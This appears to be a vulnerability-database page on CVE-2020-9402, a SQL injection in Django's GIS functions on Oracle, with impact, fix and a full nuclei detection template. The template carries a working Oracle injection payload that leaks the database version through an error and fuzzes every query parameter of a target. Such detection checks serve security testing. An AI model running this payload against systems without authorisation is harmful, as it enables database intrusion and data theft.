HexBrain

Browse / CVEs / CVE-2020-9402

CVE-2020-9402· djangoproject / django· CWE-89

Django SQL Injection

highseverity
8.8CVSS score
24%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Upgrade to the latest version.

How to confirm it

Positive when: contains "DatabaseError at" and "ORA-29257:" and "ORA-06512:" and "Request Method:"

Run it with nuclei: nuclei -id CVE-2020-9402 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-9402

info:
  name: Django SQL Injection
  author: geeknik,0x_Akoko
  severity: high
  description: |
    Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version.
  reference:
    - https://www.debian.org/security/2020/dsa-4705
    - https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402
    - https://docs.djangoproject.com/en/3.0/releases/security/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9402
    - https://groups.google.com/forum/#!topic/django-announce/fLUh_pOaKrY
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-9402
    cwe-id: CWE-89
    epss-score: 0.23951
    epss-percentile: 0.97852
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    vendor: djangoproject
    product: django
    shodan-query: cpe:"cpe:2.3:a:djangoproject:django"
  tags: cve,cve2020,django,sqli,vulhub,djangoproject,vuln,dast

variables:
  oracle_payload: "20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null  OR (1+1"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'len(query_params) > 0'

    fuzzing:
      - part: query
        mode: multiple
        fuzz:
          - "{{oracle_payload}}"

    matchers:
      - type: word
        words:
          - "DatabaseError at"
          - "ORA-29257:"
          - "ORA-06512:"
          - "Request Method:"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from